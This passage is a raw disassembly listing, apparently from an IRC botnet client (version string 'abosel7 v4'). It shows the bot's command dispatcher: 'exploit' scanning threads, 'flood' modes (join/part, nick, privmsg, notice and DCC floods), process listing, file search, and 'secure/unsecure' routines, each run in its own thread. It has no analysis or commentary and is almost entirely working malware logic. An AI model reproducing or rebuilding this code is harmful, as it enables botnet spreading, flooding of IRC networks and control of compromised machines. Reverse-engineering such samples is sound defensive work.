loc_40435B: ; CODE XREF: sub_401ACD+16FCj
; sub_401ACD+1711j
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_415CC0
push offset unk_42BE1C
call sub_415D38
loc_404376: ; CODE XREF: sub_401ACD+23F9j
add esp, 10h
jmp loc_409644
; ---------------------------------------------------------------------------
loc_40437E: ; CODE XREF: sub_401ACD+16D2j
; sub_401ACD+16E7j
push [ebp+Format] ; Format
lea eax, [ebp+var_C5C]
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+arg_4]
mov esi, dword ptr [ebp+esi+Args]
mov [ebp+var_C60], eax
mov eax, [ebp+var_4]
mov [ebp+var_BD4], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_BD0], eax
jz short loc_4043D8
push offset aSub ; "sub"
push esi ; Str1
call _strcmp
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp+var_BD8], eax
jmp short loc_4043DE
; ---------------------------------------------------------------------------
loc_4043D8: ; CODE XREF: sub_401ACD+28EFj
mov [ebp+var_BD8], ebx
loc_4043DE: ; CODE XREF: sub_401ACD+2909j
lea eax, [ebp+Dst]
push offset asc_42BDF8 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 28h ; int
push eax ; Source
call sub_40B3BA
add esp, 14h
mov [ebp+var_BDC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_C60]
push ebx
push eax
push offset sub_40B425
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_BDC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40444C
loc_404436: ; CODE XREF: sub_401ACD+297Dj
cmp [ebp+var_BCC], ebx
jnz loc_406C1F
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_404436
; ---------------------------------------------------------------------------
loc_40444C: ; CODE XREF: sub_401ACD+2967j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42BDBC
jmp loc_409091
; ---------------------------------------------------------------------------
loc_40445D: ; CODE XREF: sub_401ACD+1656j
; sub_401ACD+166Bj
push offset aSbrti ; "sbrti"
push offset unk_42BDA4 ; Format
loc_404467: ; CODE XREF: sub_401ACD+29D9j
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409869
add esp, 20h
jmp loc_406C1F
; ---------------------------------------------------------------------------
loc_404494: ; CODE XREF: sub_401ACD+162Cj
; sub_401ACD+1641j
push dword_4CB714
call sub_41ADD8
pop ecx
push eax
push offset unk_42BD78
jmp short loc_404467
; ---------------------------------------------------------------------------
loc_4044A8: ; CODE XREF: sub_401ACD+1602j
; sub_401ACD+1617j
mov esi, dword ptr [ebp+esi+Args]
cmp esi, ebx
jz short loc_4044DA
cmp [ebp+var_C], ebx
jz short loc_4044E9
push esi ; SubStr
push [ebp+var_C] ; Str
call _strstr
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4044E9
push eax ; Args
push offset aQuitS ; "QUIT :%s\r\n"
push [ebp+arg_4] ; int
call sub_409823
add esp, 0Ch
jmp short loc_4044E9
; ---------------------------------------------------------------------------
loc_4044DA: ; CODE XREF: sub_401ACD+29E4j
push offset aQuitLater ; "QUIT :later\r\n"
push [ebp+arg_4] ; int
call sub_409823
pop ecx
pop ecx
loc_4044E9: ; CODE XREF: sub_401ACD+29E9j
; sub_401ACD+29F8j ...
push 0FFFFFFFEh
jmp loc_401F77
; ---------------------------------------------------------------------------
loc_4044F0: ; CODE XREF: sub_401ACD+15D8j
; sub_401ACD+15EDj
push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push [ebp+arg_4] ; int
call sub_409823
push offset unk_42BD28
call sub_415D38
add esp, 0Ch
or eax, 0FFFFFFFFh
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_404512: ; CODE XREF: sub_401ACD+15AEj
; sub_401ACD+15C3j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4] ; int
call sub_409823
push offset unk_42BCF8
call sub_415D38
add esp, 0Ch
jmp loc_4095AD
; ---------------------------------------------------------------------------
loc_404531: ; CODE XREF: sub_401ACD+1584j
; sub_401ACD+1599j
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40BA9E
jmp loc_4048F0
; ---------------------------------------------------------------------------
loc_404547: ; CODE XREF: sub_401ACD+155Aj
; sub_401ACD+156Fj
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40BA49
jmp loc_4048F0
; ---------------------------------------------------------------------------
loc_40455D: ; CODE XREF: sub_401ACD+1530j
; sub_401ACD+1545j
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40B9DD
jmp loc_4048F0
; ---------------------------------------------------------------------------
loc_404573: ; CODE XREF: sub_401ACD+1506j
; sub_401ACD+151Bj
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40B90E
jmp loc_4048F0
; ---------------------------------------------------------------------------
loc_404589: ; CODE XREF: sub_401ACD+1461j
; sub_401ACD+1476j
push dword ptr [ebp+esi+Args]
push 27h
push offset aProcessList ; "Process list"
push offset dword_42BCD8
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_4045A1: ; CODE XREF: sub_401ACD+1437j
; sub_401ACD+144Cj
push dword ptr [ebp+esi+Args]
push 24h
push offset aFindFile ; "Find file"
push offset dword_42BCBC
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_4045B9: ; CODE XREF: sub_401ACD+1050j
; sub_401ACD+1065j
mov edi, dword ptr [ebp+esi+Args]
cmp edi, ebx
jz short loc_4045D8
push edi ; Str
call _atoi
test eax, eax
pop ecx
jz short loc_4045D8
push edi ; Str
call _atoi
pop ecx
jmp short loc_4045DD
; ---------------------------------------------------------------------------
loc_4045D8: ; CODE XREF: sub_401ACD+2AF5j
; sub_401ACD+2B00j
mov eax, dword_429074
loc_4045DD: ; CODE XREF: sub_401ACD+2B09j
mov esi, [ebp+esi+Format]
mov [ebp+var_590], eax
cmp esi, ebx
jz short loc_404602
push esi ; Format
loc_4045EF: ; CODE XREF: sub_401ACD+2B44j
lea eax, [ebp+var_5A0]
push 10h ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
jmp short loc_404619
; ---------------------------------------------------------------------------
loc_404602: ; CODE XREF: sub_401ACD+2B1Fj
cmp [ebp+var_8FF], bl
jz short loc_404613
lea eax, [ebp+var_C4]
push eax
jmp short loc_4045EF
; ---------------------------------------------------------------------------
loc_404613: ; CODE XREF: sub_401ACD+2B3Bj
mov [ebp+var_5A0], bl
loc_404619: ; CODE XREF: sub_401ACD+2B33j
mov eax, [ebp+var_4]
push [ebp+Format] ; Format
mov esi, [ebp+arg_4]
mov [ebp+var_584], eax
mov eax, [ebp+var_8]
push 80h ; Count
mov [ebp+var_580], eax
lea eax, [ebp+var_620]
push eax ; Dest
mov [ebp+var_624], esi
call __snprintf
add esp, 0Ch
push [ebp+var_590]
push esi
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+Dst]
push offset asc_42BC94 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 19h ; int
push eax ; Source
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_58C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_624]
push ebx
push eax
push offset sub_411BCE
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_58C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_4046CA
loc_4046B4: ; CODE XREF: sub_401ACD+2BFBj
cmp [ebp+var_57C], ebx
jnz loc_401F75
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_4046B4
; ---------------------------------------------------------------------------
loc_4046CA: ; CODE XREF: sub_401ACD+2BE5j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset dword_42BC58
jmp loc_4097CB
; ---------------------------------------------------------------------------
loc_4046DB: ; CODE XREF: sub_401ACD+FFDj
; sub_401ACD+1012j
mov esi, dword ptr [ebp+esi+Args]
cmp esi, ebx
jz short loc_4046FB
push esi ; Str
call _atoi
test ax, ax
pop ecx
jz short loc_4046FB
push esi ; Str
call _atoi
pop ecx
jmp short loc_404701
; ---------------------------------------------------------------------------
loc_4046FB: ; CODE XREF: sub_401ACD+2C17j
; sub_401ACD+2C23j
mov ax, word_429084
loc_404701: ; CODE XREF: sub_401ACD+2C2Cj
push [ebp+Format] ; Format
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
mov [ebp+var_97C], ax
mov eax, [ebp+var_8]
push 80h ; Count
mov [ebp+var_96C], eax
lea eax, [ebp+var_9FC]
push eax ; Dest
mov [ebp+var_A00], esi
mov [ebp+var_970], edi
call __snprintf
movzx eax, [ebp+var_97C]
add esp, 0Ch
push eax
push esi
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+Dst]
push offset asc_42BC2C ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push edi ; int
push eax ; int
push [ebp+Format] ; Str
push esi ; int
call sub_409869
push ebx ; int
lea eax, [ebp+Dst]
push 6 ; int
push eax ; Source
call sub_40B3BA
add esp, 30h
mov [ebp+var_978], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A00]
push ebx
push eax
push offset sub_40EF1C
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_978]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_4047D0
loc_4047BA: ; CODE XREF: sub_401ACD+2D01j
cmp [ebp+var_968], ebx
jnz loc_401F75
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_4047BA
; ---------------------------------------------------------------------------
loc_4047D0: ; CODE XREF: sub_401ACD+2CEBj
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42BBEC
jmp loc_4097CB
; ---------------------------------------------------------------------------
loc_4047E1: ; CODE XREF: sub_401ACD+FA9j
; sub_401ACD+FBEj ...
push edi ; Str2
push offset aSecure ; "secure"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_404809
push edi ; Str2
push offset aSec ; "sec"
call _strcmp
pop ecx
mov [ebp+var_AA8], ebx
test eax, eax
pop ecx
jnz short loc_404813
loc_404809: ; CODE XREF: sub_401ACD+2D23j
mov [ebp+var_AA8], 1
loc_404813: ; CODE XREF: sub_401ACD+2D3Aj
push [ebp+Format] ; Format
lea eax, [ebp+var_B2C]
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+arg_4]
add esp, 0Ch
cmp [ebp+var_AA8], ebx
mov [ebp+var_B30], eax
mov eax, [ebp+var_4]
mov [ebp+var_AA4], eax
mov eax, [ebp+var_8]
mov [ebp+var_AA0], eax
mov eax, offset aSecuring ; "Securing"
jnz short loc_40485A
mov eax, offset aUnsecuring ; "Unsecuring"
loc_40485A: ; CODE XREF: sub_401ACD+2D86j
push eax
push offset asc_42BBB8 ; "-"
lea eax, [ebp+Dst]
push 200h ; Count
push eax ; Dest
call __snprintf
push ebx ; int
lea eax, [ebp+Dst]
push 22h ; int
push eax ; Source
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_AAC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_B30]
push ebx
push eax
push offset sub_41A366
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_AAC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_4048CE
loc_4048B8: ; CODE XREF: sub_401ACD+2DFFj
cmp [ebp+var_A9C], ebx
jnz loc_4082DE
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_4048B8
; ---------------------------------------------------------------------------
loc_4048CE: ; CODE XREF: sub_401ACD+2DE9j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset dword_42BB7C
jmp loc_4082CF
; ---------------------------------------------------------------------------
loc_4048DF: ; CODE XREF: sub_401ACD+F7Fj
; sub_401ACD+F94j
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_41ABFB
loc_4048F0: ; CODE XREF: sub_401ACD+2A75j
; sub_401ACD+2A8Bj ...
add esp, 0Ch
jmp loc_409644
; ---------------------------------------------------------------------------
loc_4048F8: ; CODE XREF: sub_401ACD+F55j
; sub_401ACD+F6Aj
push offset unk_42BB2C
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_404902: ; CODE XREF: sub_401ACD+F2Bj
; sub_401ACD+F40j
push offset aAbosel7V4 ; "abosel7 v4"
push offset dword_42BB1C
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_404911: ; CODE XREF: sub_401ACD+F01j
; sub_401ACD+F16j
mov esi, dword ptr [ebp+esi+Args]
cmp esi, ebx
jz short loc_404971
push esi ; Str
call _atoi
cmp eax, ebx
pop ecx
jl short loc_404966
cmp eax, 3
jge short loc_404966
mov edx, [ebp+arg_18]
mov ecx, eax
shl ecx, 7
cmp [ecx+edx], bl
lea esi, [ecx+edx]
jz short loc_40495B
lea eax, [esi+1]
push eax
lea eax, [ebp+Dst]
push offset unk_42CD50 ; Format
push eax ; Dest
call _sprintf
add esp, 0Ch
mov [esi], bl
jmp loc_4081AD
; ---------------------------------------------------------------------------
loc_40495B: ; CODE XREF: sub_401ACD+2E6Dj
push eax
push offset unk_42BAF0
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_404966: ; CODE XREF: sub_401ACD+2E58j
; sub_401ACD+2E5Dj
push eax
push offset unk_42BAC4
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_404971: ; CODE XREF: sub_401ACD+2E4Dj
mov edi, [ebp+arg_18]
xor esi, esi
loc_404976: ; CODE XREF: sub_401ACD+2EC5j
push [ebp+var_90] ; Str2
push edi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_404999
inc esi
add edi, 80h
cmp esi, 3
jl short loc_404976
jmp loc_4081AD
; ---------------------------------------------------------------------------
loc_404999: ; CODE XREF: sub_401ACD+2EB9j
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C4]
push eax
push offset unk_42CD50
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_4049B3: ; CODE XREF: sub_401ACD+ED7j
; sub_401ACD+EECj
push dword ptr [ebp+Args] ; Str2
push offset a332 ; "332"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403446
call sub_40B583
push ebx
call ds:dword_42706C ; ExitProcess
loc_4049D9: ; CODE XREF: sub_401ACD+19B1j
push offset aGet_1 ; "get"
push edi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_404A67
cmp dword_4CF180, ebx
jz short loc_404A01
push offset byte_4CEB60
loc_4049F7: ; CODE XREF: sub_401ACD+2F98j
push offset unk_42BA88
jmp loc_404A97
; ---------------------------------------------------------------------------
loc_404A01: ; CODE XREF: sub_401ACD+2F23j
push 10h
pop eax
mov [ebp+var_2CC], eax
push eax ; Size
lea eax, [ebp+var_2E8]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_2CC]
push eax
lea eax, [ebp+var_2E8]
push eax
push [ebp+arg_4]
call ds:dword_427214 ; getsockname
movzx eax, [ebp+var_2E2]
push eax
movzx eax, [ebp+var_2E3]
push eax
movzx eax, [ebp+var_2E4]
push eax
lea eax, [ebp+var_E24]
push offset aD_D_D_ ; "%d.%d.%d.*"
push eax ; Dest
call _sprintf
add esp, 14h
lea eax, [ebp+var_E24]
push eax
jmp short loc_4049F7
; ---------------------------------------------------------------------------
loc_404A67: ; CODE XREF: sub_401ACD+2F1Bj
push edi
call dword_4CBA14 ; inet_addr
cmp eax, 0FFFFFFFFh
push edi ; Source
jnz short loc_404A7B
push offset unk_42BA48
jmp short loc_404A97
; ---------------------------------------------------------------------------
loc_404A7B: ; CODE XREF: sub_401ACD+2FA5j
push offset byte_4CEB60 ; Dest
call _strcpy
pop ecx
mov dword_4CF180, 1
pop ecx
push edi
push offset asc_42BA1C ; "-"
loc_404A97: ; CODE XREF: sub_401ACD+2F2Fj
; sub_401ACD+2FACj
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp loc_40349D
; ---------------------------------------------------------------------------
loc_404AAB: ; CODE XREF: sub_401ACD+199Cj
push [ebp+arg_8] ; Str2
push offset aExploit ; "exploit"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_404BB1
mov eax, [ebp+var_4]
mov esi, 80h
mov [ebp+var_13E8], eax
mov eax, [ebp+var_8]
mov [ebp+var_13E4], eax
mov eax, [ebp+arg_4]
mov [ebp+var_13F8], eax
push offset aF ; "#f"
lea eax, [ebp+var_1478]
push esi ; Count
push eax ; Dest
mov [ebp+var_13F0], 1
call __snprintf
add esp, 0Ch
lea eax, [ebp+var_14F8]
push offset aF ; "#f"
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
lea eax, [ebp+var_1508]
push edi ; Format
push 10h ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
lea eax, [ebp+var_1508]
push eax
lea eax, [ebp+Dst]
push offset asc_42B9E4 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 8 ; int
push eax ; Source
call sub_40B3BA
add esp, 18h
mov [ebp+var_13EC], eax
lea eax, [ebp+var_2FC]
push eax
lea eax, [ebp+var_1508]
push ebx
push eax
push offset sub_40BB65
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_13EC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_404BA0
loc_404B8A: ; CODE XREF: sub_401ACD+30D1j
cmp [ebp+var_13E0], ebx
jnz loc_4081AD
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_404B8A
; ---------------------------------------------------------------------------
loc_404BA0: ; CODE XREF: sub_401ACD+30BBj
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42B9A4
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_404BB1: ; CODE XREF: sub_401ACD+2FEFj
push [ebp+arg_8] ; Str2
push offset aReconnect_in ; "reconnect.in"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4095B4
push [ebp+arg_8] ; Str2
push offset aRin ; "rin"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4095B4
push [ebp+arg_8] ; Str2
push offset aReconnect_in_m ; "reconnect.in.ms"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409570
push [ebp+arg_8] ; Str2
push offset aRinms ; "rinms"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409570
push [ebp+arg_8] ; Str2
push offset aFlood ; "flood"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_4057B7
call ds:dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
push edi ; Str2
push offset aLoad ; "load"
call _strcmp
add esp, 0Ch
test eax, eax
jnz short loc_404CB7
cmp [ebp+esi+var_80], ebx
jz short loc_404CB7
push [ebp+esi+var_80] ; Str
call _atoi
pop ecx
push eax ; int
push [ebp+esi+Str2] ; Str
call _atoi
pop ecx
push eax ; int
push [ebp+esi+Format] ; Source
call sub_417E06
add esp, 0Ch
lea eax, [ebp+Dst]
push [ebp+esi+Str2]
push [ebp+esi+Format]
push [ebp+esi+var_80]
push offset asc_42B93C ; "-"
push eax ; Dest
call _sprintf
add esp, 14h
cmp [ebp+var_8], ebx
jnz short loc_404CB7
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409869
add esp, 14h
loc_404CB7: ; CODE XREF: sub_401ACD+3173j
; sub_401ACD+3179j ...
push edi ; Str2
push offset aPm ; "pm"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_404D21
mov eax, [ebp+esi+Str2]
cmp eax, ebx
jz short loc_404D21
push offset asc_42CDC0 ; " "
push offset a_ ; "_"
push eax ; Src
call sub_41843B
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _strcpy
add esp, 14h
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aPrivmsgSS ; "privmsg %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417B2F
add esp, 14h
loc_404D21: ; CODE XREF: sub_401ACD+31F9j
; sub_401ACD+3204j
push edi ; Str2
push offset aCt ; "ct"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_404D8B
mov eax, [ebp+esi+Str2]
cmp eax, ebx
jz short loc_404D8B
push offset asc_42CDC0 ; " "
push offset a_ ; "_"
push eax ; Src
call sub_41843B
push eax ; Source
lea eax, [ebp+var_4AF4]
push eax ; Dest
call _strcpy
add esp, 14h
lea eax, [ebp+var_4AF4]
push eax
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aPrivmsgS ; "privmsg %s :"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417B2F
add esp, 14h
loc_404D8B: ; CODE XREF: sub_401ACD+3263j
; sub_401ACD+326Ej
push edi ; Str2
push offset aNt ; "nt"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_404DF5
mov eax, [ebp+esi+Str2]
cmp eax, ebx
jz short loc_404DF5
push offset asc_42CDC0 ; " "
push offset a_ ; "_"
push eax ; Src
call sub_41843B
push eax ; Source
lea eax, [ebp+var_48F0]
push eax ; Dest
call _strcpy
add esp, 14h
lea eax, [ebp+var_48F0]
push eax
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aNoticeSS_0 ; "notice %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417B2F
add esp, 14h
loc_404DF5: ; CODE XREF: sub_401ACD+32CDj
; sub_401ACD+32D8j
push edi ; Str2
push offset aMode ; "mode"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_404E5F
mov eax, [ebp+esi+Str2]
cmp eax, ebx
jz short loc_404E5F
push offset asc_42CDC0 ; " "
push offset a_ ; "_"
push eax ; Src
call sub_41843B
push eax ; Source
lea eax, [ebp+var_4FF8]
push eax ; Dest
call _strcpy
add esp, 14h
lea eax, [ebp+var_4FF8]
push eax
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aModeSS ; "mode %s %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417B2F
add esp, 14h
loc_404E5F: ; CODE XREF: sub_401ACD+3337j
; sub_401ACD+3342j
push edi ; Str2
push offset aJoin ; "join"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_404E9C
mov eax, [ebp+esi+Format]
cmp eax, ebx
jz short loc_404E9C
push eax
lea eax, [ebp+Dst]
push offset aJoinS ; "join %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417B2F
add esp, 10h
loc_404E9C: ; CODE XREF: sub_401ACD+33A1j
; sub_401ACD+33ACj
push edi ; Str2
push offset aPart_0 ; "part"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_404ED9
mov eax, [ebp+esi+Format]
cmp eax, ebx
jz short loc_404ED9
push eax
lea eax, [ebp+Dst]
push offset aPartS ; "part %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417B2F
add esp, 10h
loc_404ED9: ; CODE XREF: sub_401ACD+33DEj
; sub_401ACD+33E9j
push edi ; Str2
push offset aPartflood ; "partflood"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_404F1B
mov eax, [ebp+esi+Format]
cmp eax, ebx
jz short loc_404F1B
push offset dword_427620
push eax
lea eax, [ebp+Dst]
push offset aPartSS ; "part %s %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417B2F
add esp, 14h
loc_404F1B: ; CODE XREF: sub_401ACD+341Bj
; sub_401ACD+3426j
push edi ; Str2
push offset aPnick ; "pnick"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_404F92
cmp [ebp+esi+Format], ebx
jz short loc_404F92
call ds:dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
call _rand
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+var_17B8]
push edx
push [ebp+esi+Format]
push offset aSI ; "%s%i"
push eax ; Dest
call _sprintf
add esp, 10h
lea eax, [ebp+var_17B8]
push eax
lea eax, [ebp+Dst]
push offset aNickS_0 ; "NICK %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417B2F
add esp, 10h
loc_404F92: ; CODE XREF: sub_401ACD+345Dj
; sub_401ACD+3466j
push edi ; Str2
push offset aJoinPart ; "join/part"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_4050E9
cmp [ebp+esi+Format], ebx
jz loc_4050E9
push [ebp+esi+Format]
lea eax, [ebp+Dst]
push offset aJoinS ; "join %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417B2F
add esp, 10h
lea eax, [ebp+Dst]
push offset dword_427620
push [ebp+esi+Format]
push offset aPartSS ; "part %s %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417B2F
add esp, 14h
call _rand
cdq
mov ecx, 3E8h
idiv ecx
push edx
call ds:dword_427080 ; Sleep
push [ebp+esi+Format]
lea eax, [ebp+Dst]
push offset aJoinS ; "join %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417B2F
add esp, 10h
call _rand
cdq
mov ecx, 384h
idiv ecx
push edx
call ds:dword_427080 ; Sleep
push offset dword_427620
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aPartSS ; "part %s %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417B2F
add esp, 14h
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aJoinS ; "join %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417B2F
add esp, 10h
call _rand
cdq
mov ecx, 0C8h
idiv ecx
push edx
call ds:dword_427080 ; Sleep
push offset dword_427620
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aPartSS ; "part %s %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417B2F
add esp, 14h
loc_4050E9: ; CODE XREF: sub_401ACD+34D4j
; sub_401ACD+34E1j
push edi ; Str2
push offset aDcc ; "dcc"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_405181
cmp [ebp+esi+Format], ebx
jz short loc_405181
call ds:dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
call _rand
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call _rand
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call _rand
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call _rand
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call _rand
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+Dst]
push edx
push [ebp+esi+Format]
push offset aPrivmsgS_0 ; "PRIVMSG %s :"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417B2F
add esp, 24h
loc_405181: ; CODE XREF: sub_401ACD+362Bj
; sub_401ACD+3638j
push edi ; Str2
push offset aNick_0 ; "nick"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_405289
mov eax, [ebp+esi+Format]
cmp eax, ebx
jz loc_405289
push eax
lea eax, [ebp+Dst]
push offset aJoinS ; "join %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417B2F
lea eax, [ebp+var_4BC]
push eax ; Dest
call sub_417E84
add esp, 14h
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+Dst]
push offset aNickS_0 ; "NICK %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417B2F
add esp, 10h
call _rand
cdq
mov ecx, 514h
idiv ecx
push edx
call ds:dword_427080 ; Sleep
lea eax, [ebp+var_4BC]
push eax ; Dest
call sub_417E84
pop ecx
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+Dst]
push offset aNickS_0 ; "NICK %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417B2F
add esp, 10h
call _rand
cdq
mov ecx, 1F4h
idiv ecx
push edx
call ds:dword_427080 ; Sleep
lea eax, [ebp+var_4BC]
push eax ; Dest
call sub_417E84
pop ecx
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+Dst]
push offset aNickS_0 ; "NICK %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417B2F
add esp, 10h
loc_405289: ; CODE XREF: sub_401ACD+36C3j
; sub_401ACD+36D2j
push edi ; Str2
push offset aChgnick ; "chgnick"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4052CE
lea eax, [ebp+var_180C]
push eax ; Dest
call sub_417E84
pop ecx
lea eax, [ebp+var_180C]
push eax
